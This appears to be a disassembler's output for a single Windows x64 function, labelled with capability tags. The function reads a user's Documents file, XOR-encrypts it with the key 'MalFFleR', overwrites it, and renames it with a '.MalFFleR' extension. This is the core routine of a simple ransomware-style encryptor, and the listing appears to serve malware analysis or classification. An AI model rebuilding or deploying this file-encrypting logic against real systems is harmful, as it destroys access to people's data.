Function at 0x140001070
Capabilities:
Encode data using xor
Move file
Read file on windows
Write file on windows

Disassembly:
push rbp
lea rbp, [rsp - 0x2060]
mov eax, 0x2160
call fcn.140002080
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x2040], rax
mov qword [rsp + 0x2170], rbx
lea rcx, str.C:UsersOwnerDocuments_test1.txt
mov qword [rsp + 0x2178], rsi
xor r9d, r9d
mov qword [rsp + 0x2180], rdi
xor r8d, r8d
mov qword [rsp + 0x2158], r14
mov edx, 0x80000000
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov esi, r14d
mov dword [rsp + 0x28], 0x80
mov edi, r14d
mov dword [rsp + 0x20], 3
mov dword [rsp + 0x50], r14d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], r14
mov rcx, rax
lea rdx, [rsp + 0x60]
mov r8d, 0x400
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400011bb
mov qword [rsp + 0x2150], r15
lea r15, [r14 - 1]
mov edx, dword [rsp + 0x50]
test edx, edx
je 0x14000117c
add edx, edi
mov rcx, rsi
cmovb rdx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov r8d, dword [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov ecx, edi
mov rsi, rax
add rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add edi, dword [rsp + 0x50]
lea r9, [rsp + 0x50]
mov r8d, 0x400
mov qword [rsp + 0x20], r14
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001128
mov r15, qword [rsp + 0x2150]
test edi, edi
je 0x1400011bb
mov rdx, rsi
mov r9d, edi
mov r8, r14
lea r10, str.MalFFleR
nop dword [rax + rax]
mov rax, r8
lea rdx, [rdx + 1]
and eax, 7
inc r8
movzx eax, byte [rax + r10]
xor byte [rdx - 1], al
sub r9, 1
jne 0x1400011a0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r14
lea rcx, str.C:UsersOwnerDocuments_test1.txt
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov rcx, rax
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1400032b0]
lea rdx, [rbp + 0x1f60]
movups xmm2, xmmword [str.C:UsersOwnerDocuments_test1.txt]
mov r14, qword [rsp + 0x2158]
dec rdx
movups xmm1, xmmword [0x1400032a0]
mov rdi, qword [rsp + 0x2180]
mov rsi, qword [rsp + 0x2178]
xorps xmm0, xmm0
mov rbx, qword [rsp + 0x2170]
movups xmmword [rbp + 0x1f84], xmm0
mov dword [rbp + 0x1f80], eax
movups xmmword [rbp + 0x1f94], xmm0
mov dword [rbp + 0x1ff0], eax
movzx eax, word [0x1400032c0]
movups xmmword [rbp + 0x1fa4], xmm0
mov word [rsp + 0x48], ax
movups xmmword [rbp + 0x1fb4], xmm0
movups xmmword [rbp + 0x1ff4], xmm0
movups xmmword [rbp + 0x2004], xmm0
movups xmmword [rbp + 0x2014], xmm0
movups xmmword [rbp + 0x2024], xmm0
movsd xmm0, qword [str..MalFFleR]
movsd qword [rsp + 0x40], xmm0
movaps xmmword [rbp + 0x1f60], xmm2
movaps xmmword [rbp + 0x1f70], xmm1
movaps xmmword [rbp + 0x1fd0], xmm2
movaps xmmword [rbp + 0x1fe0], xmm1
nop dword [rax + rax]
cmp byte [rdx + 1], 0
lea rdx, [rdx + 1]
jne 0x1400012e0
lea r8, [rsp + 0x40]
xor eax, eax
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
mov byte [rdx + rax], cl
lea rax, [rax + 1]
test cl, cl
jne 0x140001300
lea rdx, [rbp + 0x1f60]
lea rcx, [0x1400032c4]
call fcn.140001010
lea rdx, [rbp + 0x1f60]
lea rcx, [rbp + 0x1fd0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
test eax, eax
lea rdx, str.Rename_failed._n
lea rcx, str.Rename_successful._n
cmovne rcx, rdx
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x2040]
xor rcx, rsp
call fcn.140001380
add rsp, 0x2160
pop rbp
ret